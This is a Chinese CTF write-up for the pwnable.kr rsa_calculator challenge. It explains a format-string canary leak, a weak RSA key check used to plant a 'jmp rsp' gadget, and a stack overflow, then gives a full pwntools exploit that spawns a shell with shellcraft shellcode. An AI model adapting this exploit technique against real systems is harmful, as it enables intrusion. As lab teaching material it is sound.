前言
读代码题,虽然是逆向代码,哈哈。这道题得细心找,不能急,否则就得像我一样花了很长时间在printf
的漏洞利用上了,悲催。
分析
分析反编译代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49signed __int64 set_key()
{
int v1; // [sp+18h] [bp-18h]@7
int v2; // [sp+1Ch] [bp-14h]@7
unsigned int i; // [sp+20h] [bp-10h]@1
int v4; // [sp+24h] [bp-Ch]@7
int v5; // [sp+28h] [bp-8h]@7
__int16 v6; // [sp+2Ch] [bp-4h]@1
__int16 v7; // [sp+2Eh] [bp-2h]@1
puts("-SET RSA KEY-");
printf("p : ");
__isoc99_scanf("%d", &v6);
printf("q : ", &v6);
__isoc99_scanf("%d", &v7);
printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
puts("-current private key and public keys-");
printf("public key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pub[i]);
printf("\npublic key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pri[i]);
putchar(10);
v4 = v6 * v7;
v5 = (v6 - 1) * (v7 - 1);
printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
printf("set public key exponent e : ");
__isoc99_scanf("%d", &v1);
printf("set private key exponent d : ", &v1);
__isoc99_scanf("%d", &v2);
if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
{
puts("wrong parameters for key generation");
exit(0);
}
if ( (unsigned int)v4 <= 0xFF )
{
puts("key length too short");
exit(0);
}
set_pub_key(v1, v4, (__int64)pub);
set_pri_key(v2, v4, (__int64)pri);
puts("key set ok");
printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
is_set = 1;
return 1LL;
}
1 | __int64 RSA_decrypt() |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
代码对于我来说还是有点长的,哈哈。贴了几个关键的函数,大致分析一下程序很容易找到在RSA_decrypt
函数中存在printf
格式化字符串漏洞,利用该漏洞可以读写内存。但是仔细分析后发现,仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞,经过简单分析可以发现另外两处漏洞。
set_key
函数在设置key
时没有严格按照RSA算法的要求(具体算法百度),导致可以很容易设置想要的值。RSA_decrypt
函数中,在向src
变量赋值时存在栈溢出。
主要看看这个栈溢出。输入的密文v15
是一个16进制编码的字符串,这里就是将v15
转化为字符串存到src
中。如果v15
的长度为最大1024字节,那么这里的循环次数就是2×v7/2=1024
,而每次循环src
都要赋一个字节的值,所以循环520
次后就开始覆盖栈的其他空间了。继续分析,其实当循环512
次后v15
的索引就已经越界了,其后就是src
变量。那么后续覆盖返回地址和写shellcode就是使用src
中的16进制编码的字符串了。当然RSA_decrypt
函数是有stack canary
的,需要先利用格式化字符串漏洞leak出来。
整理利用思路,这里我先leak处canary
,然后利用栈溢出覆盖返回地址为pri
变量的地址之后跟shellcode,并利用set_key
函数的缺陷设置pri
的值为jmp rsp
指令。这样当函数返回时会跳转到pri
执行jmp rsp
从而执行shell。下面贴出exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from pwn import *
def strToHex(s):
ret = ''
for i in s:
ret += '{:02x}'.format(ord(i))
return ret
def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./rsa_calculator')
else:
r = remote('pwnable.kr',9012)
pri_addr = 0x602960
#set key
r.sendline('1')
r.recvuntil('p : ')
r.sendline('61\n53\n17\n2753')
#get stack canary
r.sendline('2\n1024\n%205$016lx')
r.recvuntil('(hex encoded) -\n')
cipher = r.recvline()
r.sendline('3\n1024\n'+cipher)
r.recvuntil('- decrypted result -\n')
stack_canary = int(r.recvline(),16)
#get shell
r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
r.recvuntil('> ')
tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))
r.interactive()
work(False)
1 | root@1:~/桌面/test$ python 1.py |
总结
读逆向代码要细心,不能急躁,否则可能会花很多时间。